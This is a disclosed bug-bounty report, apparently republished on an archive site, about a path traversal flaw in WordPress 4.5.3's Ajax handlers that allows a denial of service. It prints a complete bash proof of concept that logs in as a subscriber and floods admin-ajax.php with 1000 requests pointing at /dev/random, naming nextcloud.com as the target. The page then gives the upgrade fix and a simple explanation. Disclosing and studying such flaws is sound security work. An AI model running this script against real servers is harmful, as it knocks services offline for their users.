Skip to content
Path traversal Disclosed report Intermediate

Wordpress: Directory Traversal / Denial of Serivce

The site ran an outdated WordPress version whose core Ajax handlers were open to path traversal. A logged-in low-privilege subscriber could abuse this to cause a denial of service against the server.

tbehroz Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 13 hours
  • Disclosed after 13 hours

Hello Security team, While testing nextcloud.com i have found that you are not using the lastest version of wordpress you are using old version 4.5.3 which is vulnerable to Directory Traversal / Denial of Serivce

Description :

A path traversal vulnerability was found in the Core Ajax handlers of the WordPress Admin API. This issue can be used by an Subscriber to create a denial of service.

POC

The following Bash script can be used to exploit this vulnerability

#!/bin/bash
target="https://nextcloud.com"
username="subscriber"
password="password"
cookiejar=$(mktemp)

# login
curl --cookie-jar "$cookiejar" \
   --data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \
   "$target/wp-login.php" \
   >/dev/null 2>&1

# exhaust apache
for i in `seq 1 1000`
   do
      curl --cookie "$cookiejar" \
      --data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \
      "$target/wp-admin/admin-ajax.php" \
      >/dev/null 2>&1 &
done

rm "$cookiejar"

FIX :

Upgrade your wordpress to 4.6

More details about vulnerability : https://sumofpwn.nl/advisory/2016/path_traversal_vulnerability_in_wordpress_core_ajax_handlers.html

The original report as published on HackerOne, by tbehroz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the core Ajax plugin-update handler did not properly validate the plugin path, allowing directory traversal outside the intended plugins directory.

What the attacker needed

A subscriber account; ability to send many requests

The fix

The site should upgrade WordPress to version 4.6 or later.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

WordPress is a popular website-building tool. An old version had a flaw where a logged-in user with the lowest role could send a crafted request that made the server read files it should not, and repeating it many times could overwhelm the server so it stops responding. That is a denial of service: making a service unavailable to real users.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by tbehroz

View all

1 more disclosed report, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.